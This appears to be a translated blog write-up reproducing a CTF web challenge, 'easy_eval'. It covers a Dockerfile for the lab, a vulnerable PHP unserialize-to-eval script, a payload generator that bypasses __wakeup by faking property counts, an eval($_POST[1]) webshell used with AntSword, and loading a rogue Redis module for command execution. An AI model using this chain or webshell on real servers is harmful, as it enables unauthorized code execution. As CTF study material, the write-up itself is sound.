Tianyi cup easy_eval reproduction

Recently, I played a lot of games and didn't work out many questions. So I decided to reproduce some topics.

Construction of local environment

The local environment involves php web services and redis database.

Preparation of Dockerfile

FROM ubuntu:16.04

COPY src/sources.list /etc/apt/sources.list
COPY src/redis-4.0.9 /home/redis-4.0.9

RUN apt-get update && \
    apt-get install -y curl \
            software-properties-common \
            python3-software-properties \
            python-software-properties \
            unzip \
            vim

RUN apt-get install -y apache2
RUN service apache2 restart

RUN locale -a
RUN export LANG=C.UTF-8 && \
    add-apt-repository ppa:ondrej/php && \
    apt-get update

RUN apt-get install -y libapache2-mod-php7.0 \
                        libzend-framework-php \
                        php7.0-cli \
                        php7.0 \
                        php7.0-bcmath \
                        php7.0-bz2 \
                        php7.0-cgi \
                        php7.0-common \
                        php7.0-fpm \
                        php7.0-gmp \
                        php-http \
                        php-imagick \
                        php7.0-intl \
                        php7.0-json \
                        php7.0-mbstring \
                        php-memcache \
                        php-memcached \
                        php7.0-mysql \
                        php7.0-recode \
                        php7.0-gd \
                        php7.0-mcrypt \
                        php7.0-xml \
                        php7.0-pdo \
                        php7.0-opcache \
                        php7.0-curl \
                        php7.0-zip

RUN apt install -y gcc \
		   make

RUN cd /home/redis-4.0.9 &&\
    cp -r /home/redis-4.0.9 /usr/local/redis &&\
    cd /usr/local/redis	&&\
    make && make PREFIX=/usr/local/redis install &&\
    export REDIS_HOME=/usr/local/redis &&\
    export PATH=$PATH:$REDIS_HOME/bin


COPY src /tmp/src
RUN mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini &&\
    rm -rf /var/www/html &&\
    mv /tmp/src/html /var/www/html &&\
    mv /tmp/src/start.sh /start.sh &&\
    chmod +x /start.sh

EXPOSE 80

CMD ["/start.sh"]

Write the docker-compose.yml file according to the process, and put the corresponding file in the src directory

web.ini is the configuration file of php, in which disable can be set_ Function, etc. So far, the topic is basically completed.

Deserialize execute eval statement

Visit the web service and see the following php code

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

Here, you need to trigger the eval function in class a before you can execute the command. By deserializing unserialize, trigger__ Destruct function. Since the destruct function here can execute the a() function with $this - > A as an object, it can be triggered here__ Call method. But it should be noted that__ The wakeup function will be triggered before the class is initialized. If we execute the call method after this function is triggered, the code variable is an empty string, which can not achieve the desired effect.

To bypass wakeup, the number of required attributes is different from the actual number of attributes. Again, there are regular

    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }

If the payload is written in the following way, it cannot pass the regular

<?php
class A{
    public $code = 'phpinfo();';
}
class B{
    public $a;
}

$b = new B();
$b->a = new A();
echo serialize($b);

Here, it is required that the number followed by the two characters A or B is 1, otherwise it will exit the program.

Here, you only need to add an attribute after the class B, so that the number of attributes of B becomes 2. During deserialization, change the number of attributes of B to 1 to bypass the wakeup function.

In this way, the phpinfo function is successfully executed.

redis loads malicious so files

Put the above phpinfo(); The function is changed to eval($_POST[1]); Use ant sword connection

Next, use the data operation function to connect to redis

You can see that the version number is 4.0.9 https://github.com/Dliv3/redis-rogue-server so file on. Redis loads the file to complete the command execution and access the restricted file.

Tags: PHP Database security memcached

Posted on Sat, 25 Sep 2021 08:02:14 -0400 by ahs10